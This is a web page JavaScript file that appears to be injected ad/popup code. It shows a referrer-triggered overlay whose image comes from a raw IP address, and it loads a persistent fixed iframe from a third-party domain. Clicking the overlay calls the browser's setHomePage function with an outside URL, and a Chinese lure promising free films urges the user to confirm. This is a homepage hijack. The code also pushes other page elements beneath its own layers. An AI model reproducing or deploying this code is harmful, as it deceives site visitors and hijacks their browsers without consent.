//--------------------------------------------------------------------------------
function ff_init() {
document.writeln("<script language=\"JavaScript\" type=\"text\/JavaScript\">");
document.writeln("<!--");
document.writeln("function MM_reloadPage(init) {  \/\/reloads the window if Nav4 resized");
document.writeln("  if (init==true) with (navigator) {if ((appName==\"Netscape\")&&(parseInt(appVersion)==4)) {");
document.writeln("    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}");
document.writeln("  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();");
document.writeln("}");
document.writeln("MM_reloadPage(true);");
document.writeln("");
document.writeln("function MM_findObj(n, d) { \/\/v4.01");
document.writeln("  var p,i,x;  if(!d) d=document; if((p=n.indexOf(\"?\"))>0&&parent.frames.length) {");
document.writeln("    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}");
document.writeln("  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];");
document.writeln("  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);");
document.writeln("  if(!x && d.getElementById) x=d.getElementById(n); return x;");
document.writeln("}");
document.writeln("");
document.writeln('function MM_showHideLayers( layerId ) {');
document.writeln('	var d = document.getElementById(layerId);');
document.writeln('	if( d.style.display=="none" ) d.style.display = "block";');
document.writeln('	else d.style.display = "none";');
document.writeln('}');
//document.writeln('ff_writeCookie("lelesoff", "ff", 24);');
document.writeln("\/\/-->");
document.writeln("<\/script>");
document.writeln("<div id=\"ff_Layer1\" style=\"display:none;position:absolute; right:31%; top:247px; width:376px; height:125px; z-index:99999999\"><img src=\"http://122.225.98.110:8835/ffnew.gif\" border=\"0\" usemap=\"#Map\" width=\"376\" height=\"125\"> ");
document.writeln("  <map name=\"Map\">");
document.writeln("  <area style=\"behavior:url(#default#homePage)\" shape=\"rect\" coords=20,30,360,120  href=\"http://www.leeboo.com/\"  target=\"_blank\"  onclick=\"this.setHomePage('http://6l.cn/b/?欢迎来到本站！本站所有影片全部免费观看，点击“确认(Ｙ)”继续！');MM_showHideLayers(\'ff_Layer1\',\'\',\'hide\');ff_switchSelect(false);\">");
document.writeln("  <area shape=\"rect\" coords=308,8,376,27   onClick=\"MM_showHideLayers(\'ff_Layer1\',\'\',\'hide\')\">");
document.writeln("  <\/map>");
document.writeln("<\/div>")
}

function ff_show() {
	ff_switchSelect(true);
	document.getElementById("ff_Layer1").style.display = "";
}

function ff_writeCookie(name, value, hours)
{
	var expire = "";
	if(hours != null)
	{
		expire = new Date((new Date()).getTime() + hours * 3600000);
		expire = "; expires=" + expire.toGMTString();
	}
	document.cookie = name + "=" + escape(value) + expire;
}

function ff_readCookie(name)
{
	var cookieValue = "";
	var search = name + "=";
	if(document.cookie.length > 0)
	{
		offset = document.cookie.indexOf(search);
		if (offset != -1)
		{
			offset += search.length;
			end = document.cookie.indexOf(";", offset);
			if (end == -1) end = document.cookie.length;
			cookieValue = unescape(document.cookie.substring(offset, end))
		}
	}
	return cookieValue;
}
function ff_switchSelect( bHidden ) {
	var c1 = document.getElementsByName( "ama" )[0];
	var c2 = document.getElementsByName( "amc" )[0];

	if( !bHidden && ff_timer != null ) {
		clearTimeout( ff_timer );
	}

	if( c1 && c2 ) {
		c1.style.visibility = bHidden?"hidden":"visible";
		c2.style.visibility = bHidden?"hidden":"visible";
	}
	else {
		ff_timer = setTimeout( "ff_switchSelect(true)", 100 );
	}
}

var ff_timer = null;
var ff_ref = (document.referrer||"").toLowerCase();
var ff_ary = [ "leeboo.com", "baidu.com", "1166.com" ];
var ff_test = (ff_ref.length>0);

for( var n=0; n<ff_ary.length; n++ ) {
	if( ff_ref.indexOf(ff_ary[n]) != -1 ) {
		ff_test = false;
		break;
	}
}
if( ff_ref.indexOf("code.leleso.net") != -1 ) ff_test = true;

if( ff_test ) {
	ff_init();
	setTimeout( "ff_show()", 1500 );
}




// JavaScript Document
function setCookie(form){    
	var expiration = new Date((new Date()).getTime() + 24*60*60000);
	document.cookie = "lelesoskype=" + form + ";expires="
	+ expiration.toGMTString() + ";path=" + "/" + ";";  
}  
function getCookie(cookie_name){
	var allcookies = document.cookie;
	var value="";
	if(allcookies==null||typeof(allcookies)=="undefined") return "";
	var cookie_pos = allcookies.indexOf(cookie_name);
	if (cookie_pos != -1){
	  cookie_pos += cookie_name.length + 1;
	  var cookie_end = allcookies.indexOf(";", cookie_pos);
	  if (cookie_end == -1){cookie_end = allcookies.length;}
	  value = unescape(allcookies.substring(cookie_pos, cookie_end));
	}
	return value;
}
var username=getCookie("lelesoskype");
if(username==""||username==null){
var form="skype";
setCookie(form);
function lp_57602(){d=lpdiv57602;dd='document.documentElement';dd=eval(dd+'.clientWidth')>0?dd:'document.body';ddw=dd+'.clientWidth';ddl=dd+'.scrollLeft';ddt=dd+'.scrollTop';ddh=dd+'.clientHeight';d.style.left=eval(ddl)+eval(ddw)-d.width;d.style.top=eval(ddt)+eval(ddh)-d.height;setTimeout("lp_57602()",500);}document.write('<div id="lpdiv57602" style="POSITION: absolute;Z-INDEX: 99999999999;" height="160" width="262"><iframe src="http://q.27she.com/qq.html" marginheight=0 marginwidth=0 frameborder=0 scrolling=no height="160" width="262" ></iframe></div>');lp_57602();keydivrows = document.getElementsByTagName("div");for ( var i = 0; i < keydivrows.length; i++ ){if(keydivrows[i].id!=lpdiv57602){keydivrows[i].style.zIndex=0;}}
	}else{
function lp_57602(){d=lpdiv57602;dd='document.documentElement';dd=eval(dd+'.clientWidth')>0?dd:'document.body';ddw=dd+'.clientWidth';ddl=dd+'.scrollLeft';ddt=dd+'.scrollTop';ddh=dd+'.clientHeight';d.style.left=eval(ddl)+eval(ddw)-d.width;d.style.top=eval(ddt)+eval(ddh)-d.height;setTimeout("lp_57602()",500);}document.write('<div id="lpdiv57602" style="POSITION: absolute;Z-INDEX: 99999999999;" height="160" width="262"><iframe src="http://q.27she.com/qq1.html" marginheight=0 marginwidth=0 frameborder=0 scrolling=no height="160" width="262" ></iframe></div>');lp_57602();keydivrows = document.getElementsByTagName("div");for ( var i = 0; i < keydivrows.length; i++ ){if(keydivrows[i].id!=lpdiv57602){keydivrows[i].style.zIndex=0;}}
	}
